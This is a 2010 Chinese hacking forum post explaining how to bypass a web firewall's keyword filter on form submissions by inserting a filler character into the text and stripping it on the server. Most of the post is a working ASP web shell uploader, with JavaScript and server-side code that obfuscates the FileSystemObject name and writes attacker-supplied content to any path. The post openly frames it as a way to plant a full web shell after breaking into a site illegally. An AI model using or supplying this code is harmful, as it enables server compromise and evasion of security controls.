私奔 发表于 2010-2-2 13:56:56

一流监控系统上传限制级文本的突破

情景1:
某黑客通过非法途径上传了一个小马,准备上传大马大开杀戒的时候,发现:一流拦截系统提醒您,您提交的数据含有非法字符,提交失败
情景2:
某黑客通过非法途径远程了一个大马,传上cmd,准备执行net user时,发现:一流拦截系统提醒您,您提交的数据含有非法字符,提交失败
情景3:。。。。
以上情景都是在表单提交出现了也就是post

百度,谷歌一搜,很多突破一流拦截系统继续注射的例子(get方式),而突破一流拦截系统上传大马好像还没有(可能我孤陋寡闻,只看过xml远程下载保存,有看到的牛请告诉我啊)

解决:
我们提交select会被拦截(如无特别指出,都为post),但是我们提交 s鱼e鱼l鱼e鱼c鱼t 那就不会被拦截了
也就是我们在提交时,将文本内容进行加密,提交到服务器后,在进行重新解密,这样就能绕过一流拦截系统了

一下是一个自己测试用的小马
这个小马的缺点:由于加密时是把整个文本进行加密的,所以上传的文本大小为原来的3倍,本地测试时传大马,卡半天
不过这个可以增加关键字来解决,处理文本时把select等关键字进行加密就行了
一点小思路,抛砖引玉 by 3x

<html>

<head>

<title></title>

</head>
<script>
function change()
{
    var tp="";
    s=document.getElementsByName("content").value;
    a=s.split(’’);
    for(var i=0;i<a.length;i=i+1)
    {
      tp=tp+a+"鱼";
    }
    tp=tp.replace("\’","‘")
    document.getElementsByName("content").value=tp;
}
</script>
<body>
<%
on error resume next
if request("path")<>"" then
    temp="scrip"&"ting.f"&"ilesyst"&"emobject"
    set fso=server.createobject(temp)
    response.write request.Form&""
    path=request("path")
    dama=replace(request("content"),"鱼","")
    dama=replace(dama,"’","’")
    dama=replace(dama,"‘","’")
    set f=fso.createtextfile(path,true)
    f.write dama
    if err=0 then
      response.write "成功"
    else
      response.write "失败"
      err.clear
    end if
    set f=nothing
    set fso=nothing
end if
%>
<form method="post" action="">
<table>
<tr><td>当前路径 <%=server.mappath(request.servervariables("script_name"))%></td></tr>
<tr><td>保存路径 <input type="text" name="path" size="40"><input type="submit" xxxxx="change()" value="go"></td></tr>
<tr><td><textarea name="content" rows="20" cols="50" >
</textarea></td></tr>
<tr><td></td></tr>
</table>
</form>
</body>
</html>
页: [1]
查看完整版本: 一流监控系统上传限制级文本的突破